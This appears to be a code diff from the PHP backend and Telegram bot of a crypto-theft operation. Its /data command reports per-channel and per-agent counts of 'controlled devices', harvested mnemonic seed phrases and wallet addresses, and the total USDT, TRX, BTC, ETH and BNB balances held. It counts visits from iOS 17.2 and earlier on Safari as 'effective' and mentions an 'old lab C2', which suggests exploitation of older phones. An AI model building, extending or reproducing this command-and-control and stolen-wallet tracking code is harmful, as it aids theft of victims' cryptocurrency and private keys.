}
$claimed = Device::query()
->where('channel_id', $code)
->whereIn('ip', $ipKeys)
->exists();
if ($claimed) {
continue;
}
$domain = $this->sourceDomainFromVisit($visit);
return ['channel_id' => $code, 'source_domain' => $domain];
}
return ['channel_id' => null, 'source_domain' => null];
}
private function sourceDomainFromVisit(PageVisit $visit): ?string
{
return PageVisit::normalizeDomain($visit->domain);
}
private function createDevice(Request $request, ?array $payload, string $deviceKey, bool $allowOldC): Device
{
$ua = substr((string) $request->userAgent(), 0, 2000);
$attr = $this->resolveChannelAttribution($request, $payload, $allowOldC);
$attrs = [
'device_id' => $deviceKey,
@@ -345,8 +316,12 @@ class IngestService
'channel_id' => $attr['channel_id'],
'source_domain' => $attr['source_domain'],
];
if ($ua !== '') {
$attrs['user_agent'] = $ua;
// xxbb native UA is spoofed / inaccurate; only keep header UA for old lab C2.
if (! $this->isNewBuilderRequest($request)) {
$ua = substr((string) $request->userAgent(), 0, 2000);
if ($ua !== '') {
$attrs['user_agent'] = $ua;
}
}
$device = Device::query()->create($attrs);
+74 -15
View File
@@ -26,25 +26,29 @@ class DataCommand
$days = $parts[0];
$channelId = $parts[1] ?? '';
} elseif (isset($parts[0])) {
if (preg_match('/^[0-9a-f]{32}$/i', $parts[0])) {
$channelId = $parts[0];
} else {
$parsed = $this->parseChannelId($parts[0]);
if ($parsed === null) {
$bot->sendMessage(
"Usage: /data [1|7|30] [channelId]\n"
."Omit days for today. Omit channelId for all channels."
."Omit days for today. Omit channelId for all channels.\n"
."channelId: 旧版 32 位 hex,或新版 X.Y.ZZ(如 0.0.01)"
);
return;
}
$channelId = $parsed;
}
if ($channelId !== '' && ! preg_match('/^[0-9a-f]{32}$/i', $channelId)) {
$bot->sendMessage('channelId must be a 32-char hex string.');
if ($channelId !== '') {
$parsed = $this->parseChannelId($channelId);
if ($parsed === null) {
$bot->sendMessage('channelId 无效(需 32 位 hex 或新版 X.Y.ZZ)');
return;
return;
}
$channelId = $parsed;
}
$channelId = strtolower($channelId);
$agent = $this->context->agent();
if ($agent !== null && $channelId !== '') {
@@ -74,35 +78,90 @@ class DataCommand
'agent' => $agent,
]);
$channelLabel = $this->channelLabel($channelId, $agent !== null);
$lines = [
'📊 访问统计',
'📊 仪表盘统计',
'区间: '.$data['from'].' ~ '.$data['to'],
'渠道: '.($channelId !== '' ? $channelId : ($agent ? '本代理全部' : '全部')),
'渠道: '.$channelLabel,
'',
'总设备: '.$data['total'],
'📦 设备与资产',
'总设备: '.$data['wallet_count'].' / '.$data['total'].' (有钱包/全部)',
'新增设备: '.$data['new_count'],
'活跃设备: '.$data['active_count'],
'助记词: '.$data['mnemonic_count'],
'钱包地址: '.$data['address_count'],
'',
'💰 总余额',
'• USDT '.$data['balances']['usdt'],
'• TRX '.$data['balances']['trx'],
'• BTC '.$data['balances']['btc'],
'• ETH '.$data['balances']['eth'],
'• BNB '.$data['balances']['bnb'],
'',
'🌐 页面访问',
'页面 PV: '.$data['effective_pv'].' / '.$data['pv'].' (有效/全部)',
'页面 UV: '.$data['effective_uv'].' / '.$data['uv'].' (有效/全部)',
'有效口径: iOS≤17.2 + Safari',
'',
'按系统:',
'访问 · 按系统 (UV / 占比):',
];
foreach ($data['by_os'] as $row) {
$lines[] = sprintf('• %s PV %d UV %d %s%%', $row['label'], $row['pv'], $row['uv'], $row['pct']);
$lines[] = sprintf('• %s UV %d %s%%', $row['label'], $row['uv'], $row['pct']);
}
$lines[] = '';
$lines[] = '按 iOS 版本:';
$lines[] = '访问 · 按 iOS 版本 (UV / 占比):';
if ($data['by_ios_version'] === []) {
$lines[] = '• 暂无';
} else {
foreach ($data['by_ios_version'] as $row) {
$lines[] = sprintf('• %s PV %d UV %d %s%%', $row['label'], $row['pv'], $row['uv'], $row['pct']);
$lines[] = sprintf('• %s UV %d %s%%', $row['label'], $row['uv'], $row['pct']);
}
}
$lines[] = '';
$lines[] = '受控设备 · 系统版本分布:';
if ($data['by_device_ios_version'] === []) {
$lines[] = '• 暂无';
} else {
foreach ($data['by_device_ios_version'] as $row) {
$lines[] = sprintf('• %s %d 台 %s%%', $row['label'], $row['count'], $row['pct']);
}
}
$bot->sendMessage(implode("\n", $lines));
}
/**
* Accept old 32-hex or new X.Y.ZZ channel ids.
*/
private function parseChannelId(string $raw): ?string
{
$raw = trim($raw);
if ($raw === '') {
return '';
}
if (preg_match('/^[0-9a-f]{32}$/i', $raw)) {
return strtolower($raw);
}
return Channel::normalizeNewChannelId($raw);
}
private function channelLabel(string $channelId, bool $agentScoped): string
{
if ($channelId === '') {
return $agentScoped ? '本代理全部' : '全部';
}
$row = Channel::query()->where('channel_id', $channelId)->first(['channel_id', 'remark']);
if ($row === null) {
return $channelId;
}
$remark = trim((string) ($row->remark ?? ''));
return $remark !== '' ? $channelId.'/'.$remark : $channelId;
}
}
+4 -2
View File
@@ -23,11 +23,13 @@ class HelpCommand
' 健康检查',
'',
'/data [1|7|30] [channelId]',
' 查询访问统计(同仪表盘)',
' 查询仪表盘统计(设备/余额/访问/分布)',
' 天数默认当天;渠道默认全部',
' channelId: 旧版 32 hex 或新版 X.Y.ZZ',
' 例: /data',
' 例: /data 7',
' 例: /data 30 <channelId>',
' 例: /data 30 0.0.01',
' 例: /data 0.0.01',
'',
'/channel',
' 列出渠道:ID、备注、归属;点按钮复制链接',